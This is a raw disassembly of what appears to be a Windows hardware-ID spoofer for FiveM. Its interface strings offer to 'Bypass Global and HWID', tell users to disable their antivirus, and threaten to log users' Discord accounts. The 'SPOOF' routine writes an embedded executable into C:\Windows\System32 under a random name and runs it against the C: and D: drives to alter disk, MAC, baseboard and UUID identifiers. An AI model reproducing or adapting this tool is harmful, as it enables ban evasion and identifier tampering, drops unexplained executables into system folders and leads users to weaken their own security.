mov dword [0x14039a9fc], edx
jmp 0x14005be10
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005be39
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005be40
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a008]
lea r8, str.Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], esi
cmp edx, 2
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e420
test al, al
je 0x14005be9e
mov edx, 2
mov dword [0x14039a9fc], edx
jmp 0x14005bea4
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005becd
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bed4
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a008]
lea r8, str.One_Click_Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r12d
cmp edx, 3
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e420
test al, al
je 0x14005bf30
mov dword [0x14039a9fc], 3
call fcn.14002e100
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x2c8]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2cc], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2c8], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2d4], xmm1
movss dword [rbp + 0x2d0], xmm0
call fcn.140005e60
movss xmm10, dword [0x140177c88]
lea rdx, [rbp + 0x220]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.Narcissist_INK
xor r14d, r14d
movaps xmm3, xmm10
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x220]
movss xmm6, dword [rbp + 0x34]
addss xmm0, xmm8
movss xmm8, dword [rbp + 0x30]
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
movaps xmm2, xmm0
mulss xmm2, xmm13
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x220], xmm1
subss xmm2, xmm1
addss xmm2, xmm0
movaps xmm0, xmm6
addss xmm0, dword [0x140177c20]
mulss xmm2, xmm13
movss dword [rbp + 0x22c], xmm0
addss xmm2, xmm8
movss dword [rbp + 0x228], xmm2
test esi, 0xff000000
je 0x14005c0f8
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm7, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005c09f
mov r8d, 0x678
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x1401751ae]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x228]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm7
lea rax, str.Narcissist_INK
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c9a0
movss xmm7, dword [0x140177bbc]
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x2d8]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2dc], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2d8], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2e4], xmm1
movss dword [rbp + 0x2e0], xmm0
call fcn.140005e60
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x230]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm10
mov qword [rsp + 0x30], r14
mov esi, eax
lea r14, str.First__Disable_your_Anti_Virus
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x230]
movss xmm2, dword [0x140398ce0]
addss xmm0, dword [0x140177b74]
addss xmm6, dword [0x140177c2c]
cvttss2si eax, xmm0
movss dword [rbp + 0x23c], xmm6
movaps xmm0, xmm2
mulss xmm0, xmm13
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x230], xmm1
subss xmm0, xmm1
addss xmm0, xmm2
mulss xmm0, xmm13
addss xmm0, xmm8
movss dword [rbp + 0x238], xmm0
test esi, 0xff000000
je 0x14005c29d
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005c24b
mov r8d, 0x678
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1401751ce]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x238]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c9a0
movss xmm2, dword [0x140398ce0]
mov rcx, qword [0x140399fa0]
lea r8, [rbp + 0x240]
movaps xmm0, xmm2
mov dword [rbp + 0x240], 0
mulss xmm0, xmm13
lea rdx, [rbp + 0x120]
xor r9d, r9d
mov dword [rbp + 0x244], 0x41700000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x120], 0x438c0000
addss xmm0, dword [0x140177c5c]
mov dword [rbp + 0x124], 0x437a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, str.Container2
mulss xmm0, xmm13
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140177c3c]
addss xmm2, xmm0
movss dword [rax + 0x114], xmm1
movss dword [rax + 0x110], xmm2
call fcn.14002dc10
xor esi, esi
mov dword [rbp + 0x128], 0x438c0000
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x128]
mov qword [rsp + 0x30], rsi
lea r14, [0x140399fc0]
mov dword [rsp + 0x28], 0x8000
lea rdx, [0x1401751e0]
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], rax
mov r8, r14
mov dword [rbp + 0x12c], 0x42200000
lea rcx, [0x1401751e4]
call fcn.14003a970
lea rdx, [0x14039a0c7]
lea rcx, str.Remember_me
call fcn.140030850
lea rdx, [rbp + 0x130]
mov dword [rbp + 0x130], 0x438c0000
lea rcx, str.LAUNCH
mov dword [rbp + 0x134], 0x42200000
call fcn.14002ef40
test al, al
je 0x14005c4fb
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
mov r8, r13
nop
inc r8
cmp byte [r14 + r8], sil
jne 0x14005c400
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.140031520
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x420]
call fcn.140062610
mov rdx, rax
lea rcx, [0x14039a660]
call fcn.1400dfa30
cmp byte [0x14039a870], sil
je 0x14005c446
mov dword [0x140399fb4], r12d
jmp 0x14005c4c0
mov dword [rsp + 0x28], esi
lea r8, str.Invallid_Key_or_Wrong_HWID__your_discord_has_been_sent_to_the_log_
mov r9d, r13d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovb rax, r13
mov rcx, rax
call fcn.140134bd0
mov r9d, r13d
mov dword [rsp + 0x28], ebx
lea r8, str.Invallid_Key_or_Wrong_HWID__your_discord_has_been_sent_to_the_log_
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, 0x50
lea r8, str.ERROR
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call fcn.140134800
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005c4fb
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c4f6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005ee7a
call fcn.140134800
mov rcx, qword [0x140399fa0]
lea rdx, [rbp + 0x138]
mov qword [rsp + 0x30], rsi
movaps xmm3, xmm10
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rcx + 0x3d60]
mov rcx, qword [rcx + 0x3d58]
movss xmm6, dword [rax + 0x110]
subss xmm6, dword [rax + 0x28]
addss xmm6, dword [rax + 0x8c]
lea rax, str.Any_Problems__discord.com_invite_pRXcXh7M9J
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x138]
mov rcx, qword [0x140399fa0]
movss xmm8, dword [0x140177b74]
addss xmm0, xmm8
cvttss2si eax, xmm0
movss xmm0, dword [0x140177c58]
movd xmm1, eax
mov rax, qword [rcx + 0x4038]
cvtdq2ps xmm1, xmm1
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
subss xmm0, xmm1
movss dword [rbp + 0x138], xmm1
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
mulss xmm0, xmm13
addss xmm0, xmm6
addss xmm2, xmm0
movss dword [rax + 0x110], xmm2
movss xmm1, dword [0x14039aa6c]
movss xmm0, dword [0x14039aa68]
movss dword [rbp + 0x2ec], xmm1
movss xmm1, dword [0x14039aa74]
mulss xmm1, dword [rcx + 0x38f0]
lea rcx, [rbp + 0x2e8]
movss dword [rbp + 0x2e8], xmm0
movss xmm0, dword [0x14039aa70]
movss dword [rbp + 0x2f4], xmm1
movss dword [rbp + 0x2f0], xmm0
call fcn.140005e60
movss xmm10, dword [0x140177b0c]
lea rdx, str._Any_Problems_
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm10
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm10
mulss xmm1, xmm10
movss xmm3, xmm0
mulss xmm2, xmm10
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.140036a40
movaps xmm1, xmm7
movaps xmm0, xmm12
call fcn.140018060
mov rax, qword [0x140399fa0]
lea rcx, [rbp + 0x248]
movss xmm1, dword [0x14039aa94]
movss xmm4, dword [0x14039aa88]
movss xmm5, dword [0x14039aa8c]
mulss xmm1, dword [rax + 0x38f0]
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x248], xmm4
movss dword [rbp + 0x254], xmm1
movss dword [rbp + 0x24c], xmm5
movss dword [rbp + 0x250], xmm0
call fcn.140005e60
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.discord.com_invite_pRXcXh7M9J
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm10
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm10
mulss xmm1, xmm10
movss xmm3, xmm0
mulss xmm2, xmm10
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.140036a40
call fcn.14002e100
jmp 0x14005db4c
lea eax, [rcx - 1]
cmp eax, r12d
ja 0x14005e2af
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x258]
movss xmm8, dword [rbp + 0x34]
movss xmm7, dword [rbp + 0x30]
movaps xmm6, xmm8
addss xmm6, dword [0x140177c18]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aad0]
movss xmm1, dword [0x14039aad4]
movss dword [rbp + 0x258], xmm0
movss xmm0, dword [0x14039aad8]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x140398ce0]
movss dword [rbp + 0x25c], xmm1
addss xmm0, xmm7
movss xmm1, dword [0x14039aadc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x144], xmm6
movss dword [rbp + 0x140], xmm0
movss dword [rbp + 0x264], xmm1
call fcn.140005e60
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x30]
movss xmm0, dword [0x140177c98]
lea r8, [rbp + 0x140]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140026480
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x268]
movss xmm2, dword [0x140398ce4]
addss xmm2, xmm8
movss dword [rbp + 0x154], xmm6
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x14c], xmm2
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aad0]
movss xmm1, dword [0x14039aad4]
movss dword [rbp + 0x268], xmm0
movss xmm0, dword [0x14039aad8]
movss dword [rbp + 0x270], xmm0
movaps xmm0, xmm7
addss xmm0, dword [0x140177c30]
movss dword [rbp + 0x26c], xmm1
movss xmm1, dword [0x14039aadc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x148], xmm0
movaps xmm0, xmm7
addss xmm0, xmm12
movss dword [rbp + 0x274], xmm1
movss dword [rbp + 0x150], xmm0
call fcn.140005e60
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x150]
movss xmm0, dword [0x140177c98]
lea r8, [rbp + 0x148]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140026480
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x278]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x27c], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x278], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x284], xmm1
movss dword [rbp + 0x280], xmm0
call fcn.140005e60
mov esi, eax
movss xmm3, dword [0x140177c88]
lea rdx, [rbp + 0x110]
movss xmm2, dword [r8 + 0x3d60]
xor eax, eax
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], rax
lea rax, str.Narcissist_INK
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x110]
movss xmm2, dword [0x140398ce0]
addss xmm0, dword [0x140177b74]
addss xmm2, dword [0x140177c18]
cvttss2si eax, xmm0
movss xmm0, dword [0x140177c14]
subss xmm0, dword [rbp + 0x114]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0x110], xmm1
subss xmm2, xmm1
addss xmm0, xmm8
mulss xmm2, xmm13
movss dword [rbp + 0x15c], xmm0
addss xmm2, xmm7
movss dword [rbp + 0x158], xmm2
test esi, 0xff000000
je 0x14005cb0c
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005cabb
mov r8d, 0x678
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1401751ae]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x158]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Narcissist_INK
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c9a0
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm15
addss xmm0, dword [0x140177c40]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140018340
cmp dword [0x140399fb4], r12d
lea r8, [rbp + 0x160]
lea rdx, [0x1401752b8]
mov dword [rbp + 0x160], 0x42700000
sete cl
mov dword [rbp + 0x164], 0x42700000
call fcn.14002fb40
test al, al
je 0x14005cbab
mov eax, r12d
mov dword [0x140399fb4], eax
jmp 0x14005cbb1
mov eax, dword [0x140399fb4]
cmp eax, 2
mov dword [rbp + 0x168], 0x42700000
lea r8, [rbp + 0x168]
mov dword [rbp + 0x16c], 0x42700000
sete cl
lea rdx, [0x1401752bc]
call fcn.14002fb40
test al, al
je 0x14005cbef
mov edx, 2
mov dword [0x140399fb4], edx
jmp 0x14005cbf5
mov edx, dword [0x140399fb4]
mov rcx, qword [0x140399fa0]
lea r8, [rbp + 0x170]
test edx, edx
mov dword [rbp + 0x170], 0x42700000
lea rdx, [0x1401752c0]
mov dword [rbp + 0x174], 0x42700000
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
sete cl
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x140177c64]
movss dword [rax + 0x114], xmm0
call fcn.14002fb40
xor esi, esi
test al, al
je 0x14005cc6d
mov dword [0x140399fb4], esi
call fcn.1400184a0
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140177c34]
addss xmm0, dword [0x140177c24]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [0x14039aa1c]
cmp eax, r12d
jne 0x14005df12
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x178]
movss xmm10, dword [0x140177c44]
lea rdx, [rbp + 0x180]
movss xmm6, dword [0x140177c28]
subss xmm0, xmm10
movzx r9d, r12b
mov dword [rbp + 0x178], 0x41900000
lea rcx, str.Container1
mov dword [rbp + 0x17c], 0x41900000
mulss xmm0, xmm13
movss dword [rbp + 0x180], xmm0
movss xmm0, dword [0x140398ce4]
subss xmm0, xmm6
movss dword [rbp + 0x184], xmm0
call fcn.14002dc10
mov rax, qword gs:[0x58]
mov ebx, reloc.WS2_32.dll_recv
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x14039abf4], eax
jle 0x14005cda4
lea rcx, [0x14039abf4]
call fcn.14013450c
cmp dword [0x14039abf4], r13d
jne 0x14005cda4
lea rcx, [0x14039ac88]
call fcn.140062730
lea rcx, [0x140139b30]
call fcn.1401347e8
lea rcx, [0x14039abf4]
call fcn.1401344a0
cmp byte [0x14039aa08], 0
je 0x14005cdbb
lea rcx, [0x14039ac88]
call fcn.140031410
jmp 0x14005cdc2
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, [0x1401752c4]
call fcn.1400304d0
call fcn.140030380
mov eax, dword [rbx + rdi]
cmp dword [0x14039ac40], eax
jle 0x14005ce1a
lea rcx, [0x14039ac40]
call fcn.14013450c
cmp dword [0x14039ac40], r13d
jne 0x14005ce1a
lea rcx, [0x14039ac00]
call fcn.140062730
lea rcx, [0x140139ac0]
call fcn.1401347e8
lea rcx, [0x14039ac40]
call fcn.1401344a0
cmp byte [0x14039aa20], 0
je 0x14005ce31
lea rcx, [0x14039ac00]
call fcn.140031410
jmp 0x14005ce38
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.1400304d0
call fcn.140030380
mov eax, dword [rbx + rdi]
cmp dword [0x14039aba8], eax
jle 0x14005ce90
lea rcx, [0x14039aba8]
call fcn.14013450c
cmp dword [0x14039aba8], r13d
jne 0x14005ce90
lea rcx, [0x14039ac20]
call fcn.140062730
lea rcx, [0x140139a50]
call fcn.1401347e8
lea rcx, [0x14039aba8]
call fcn.1401344a0
cmp byte [0x14039aa09], 0
je 0x14005cea7
lea rcx, [0x14039ac20]
call fcn.140031410
jmp 0x14005ceae
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.1400304d0
call fcn.140030380
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab98], eax
jle 0x14005cf06
lea rcx, [0x14039ab98]
call fcn.14013450c
cmp dword [0x14039ab98], r13d
jne 0x14005cf06
lea rcx, [0x14039abb0]
call fcn.140062730
lea rcx, [0x1401399e0]
call fcn.1401347e8
lea rcx, [0x14039ab98]
call fcn.1401344a0
cmp byte [0x14039aa21], 0
je 0x14005cf1d
lea rcx, [0x14039abb0]
call fcn.140031410
jmp 0x14005cf24
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.1400304d0
call fcn.140030380
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab9c], eax
jle 0x14005cf7c
lea rcx, [0x14039ab9c]
call fcn.14013450c
cmp dword [0x14039ab9c], r13d
jne 0x14005cf7c
lea rcx, [0x14039ac48]
call fcn.140062730
lea rcx, [0x140139970]
call fcn.1401347e8
lea rcx, [0x14039ab9c]
call fcn.1401344a0
cmp byte [0x14039aa18], 0
je 0x14005cf93
lea rcx, [0x14039ac48]
call fcn.140031410
jmp 0x14005cf9a
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, str.MAC:
call fcn.1400304d0
call fcn.140030380
mov eax, dword [rbx + rdi]
cmp dword [0x14039ab94], eax
jle 0x14005cff2
lea rcx, [0x14039ab94]
call fcn.14013450c
cmp dword [0x14039ab94], r13d
jne 0x14005cff2
lea rcx, [0x14039abd0]
call fcn.140062730
lea rcx, [0x140139900]
call fcn.1401347e8
lea rcx, [0x14039ab94]
call fcn.1401344a0
cmp byte [0x14039a9f0], 0
je 0x14005d009
lea rcx, [0x14039abd0]
call fcn.140031410
jmp 0x14005d010
lea rax, [0x14016540a]
mov rdx, rax
lea rcx, str.UUID:
call fcn.1400304d0
mov rax, qword [0x140399fa0]
mov rcx, qword [rax + 0x4038]
movss xmm0, dword [rcx + 0x114]
subss xmm0, dword [rcx + 0x2c]
addss xmm0, dword [rcx + 0x90]
addss xmm0, dword [0x140177bdc]
call fcn.140018110
lea rcx, [rbp + 0x3f0]
call fcn.1400182f0
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x188]
addss xmm2, xmm15
mov dword [rbp + 0x18c], 0x41f00000
lea rcx, str.Serial_Checker
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm13
movss dword [rbp + 0x188], xmm0
call fcn.14002ef40
test al, al
je 0x14005d193
lea rcx, [rbp - 0x80]
mov byte [0x14039aa08], r12b
call fcn.1400559b0
mov rdx, rax
lea rcx, [0x14039ac88]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x80]
mov byte [0x14039aa20], r12b
call fcn.140055fb0
mov rdx, rax
lea rcx, [0x14039ac00]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x80]
mov byte [0x14039aa09], r12b
call fcn.140056cf0
mov rdx, rax
lea rcx, [0x14039ac20]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x80]
mov byte [0x14039aa21], r12b
call fcn.140056d10
mov rdx, rax
lea rcx, [0x14039abb0]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x80]
mov byte [0x14039aa18], r12b
call fcn.140055990
mov rdx, rax
lea rcx, [0x14039ac48]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x80]
mov byte [0x14039a9f0], r12b
call fcn.140054e60
mov rdx, rax
lea rcx, [0x14039abd0]
call fcn.140062580
lea rcx, [rbp - 0x80]
call fcn.140031420
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140018060
lea rcx, [rbp + 0x3f8]
call fcn.1400182f0
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x190]
addss xmm2, xmm15
mov dword [rbp + 0x194], 0x41f00000
lea rcx, str.SPOOF
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm13
movss dword [rbp + 0x190], xmm0
call fcn.14002ef40
test al, al
je 0x14005d9e0
cmp byte [0x14039a0d4], 0
mov dword [0x140399fb4], 3
je 0x14005d4c3
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031480
mov r8d, 0x390a8
lea rdx, [0x1402271a0]
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp + 0x50]
call fcn.1400472b0
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.1400472b0
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
lea rcx, [rbp + 0xe0]
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp - 0x58]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.1400472b0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.1400472b0
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp + 0x90]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
